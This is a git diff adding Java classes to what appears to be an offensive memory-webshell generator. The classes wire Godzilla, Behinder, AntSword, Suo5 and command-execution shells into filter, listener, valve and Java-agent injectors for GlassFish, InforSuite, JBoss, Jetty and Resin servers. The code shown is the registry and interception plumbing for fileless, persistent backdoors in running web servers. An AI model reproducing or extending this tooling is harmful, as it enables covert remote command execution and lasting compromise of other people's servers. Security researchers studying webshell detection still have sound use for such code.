response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(request, "response");
|
||||
} catch (Exception ee) {
|
||||
// glassfish7
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "reqFacHelper"), "response");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class InforSuiteShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Singular;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/21
|
||||
*/
|
||||
@Builder
|
||||
@AllArgsConstructor
|
||||
public class InjectorMapping {
|
||||
|
||||
@Singular("addInjector")
|
||||
private final Map<String, Class<?>> injectorMap;
|
||||
|
||||
public Class<?> getInjector(String type) {
|
||||
return injectorMap.get(type);
|
||||
}
|
||||
|
||||
public List<String> getSupportedShellTypes() {
|
||||
return new ArrayList<>(injectorMap.keySet());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JbossShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, JbossFilterInjector.class)
|
||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||
.addInjector(VALVE, JbossValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command))
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla))
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder))
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5))
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword))
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public class JettyShell extends AbstractShell {
|
||||
public static final String AGENT_HANDLER = AGENT + "Handler";
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
||||
} catch (Exception e) {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, JettyServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||
.addInjector(FILTER, JettyFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||
.addInjector(LISTENER, JettyListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
||||
.addInjector(AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class ResinShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
response = ShellCommonUtil.getFieldValue(request, "_response");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, ResinServletInjector.class)
|
||||
.addInjector(FILTER, ResinFilterInjector.class)
|
||||
.addInjector(LISTENER, ResinListenerInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command))
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla))
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder))
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5))
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword))
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/22
|
||||
*/
|
||||
public class ServerToolRegistry {
|
||||
|
||||
public static void addToolMapping(){
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
||||
